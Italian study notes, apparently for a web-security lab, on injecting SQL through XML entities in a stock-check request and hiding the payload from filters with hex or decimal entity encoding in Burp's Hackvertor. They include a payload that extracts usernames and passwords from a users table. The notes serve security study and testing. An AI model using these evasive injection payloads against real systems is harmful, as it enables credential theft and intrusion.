tags: SQL_Injection_XXE XXE Offuscamento_XXE
Se per esempio abbiamo una richiesta che contiene una sezione XML di questo tipo:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Possiamo provare ad inserire il seguente payload per vedere se è possibile un SQL Injection:
<!DOCTYPE stockCheck [ <!ENTITY xxe "' UNION SELECT NULL-- "> ]>Il payload finale risulterà essere il seguente:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe "' UNION SELECT NULL-- "> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>Come puoi notare devi utilizzare il nome dell’elemento radice del documento XML: il tag più esterno (<stockCheck>...</stockCheck>). Lo vedi perché l’applicazione si aspetta quella struttura. Nel DOCTYPE scrivi <!DOCTYPE stockCheck [ ... ]> e usi stockCheck solo perché deve corrispondere al nome dell’elemento radice del documento. Se il documento avesse la radice <order>, scriveresti <!DOCTYPE order [ ... ]>. Non è una funzione che “chiami”, è un’etichetta che deve combaciare.
Attenzione
Fai attenzione ad inserire `&xxe;` e non `&xxe` senza il `;` perchè è facile dimenticarselo, ma senza di esso non riesce a parsarlo correttamente.Offuscamento
Per offuscare il payload non possiamo utlizzare encoding standard come URL o Base64 perchè il parser XML riesce a decodificare solo determinate forme di codifica.
Per ovviare a questo problema possiamo scaricare l’estensione di BurpSuite Hackvertor e utilizzare le codifiche hex_entities e dec_entities.
asto destro → Extensions → Hackvertor → Encode → dec_entities/hex_entities. Scegline una qualsiasi, sono intercambiabili.
Il vantaggio pratico dei tag Hackvertor
Non ti conviene incollare la stringa già codificata: Hackvertor inserisce dei tag che codificano al volo solo la porzione racchiusa. Così puoi continuare a editare il payload in chiaro e lui lo converte al momento dell’invio. La forma è questa:
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>
Come nota chi ci ha lavorato, usare <@dec_entities>1 UNION SELECT NULL<@/dec_entities> è molto più leggibile e gestibile che incollare a mano la sequenza 1 UN.... Tutto ciò che sta tra i due tag viene codificato; il resto dell’XML resta normale.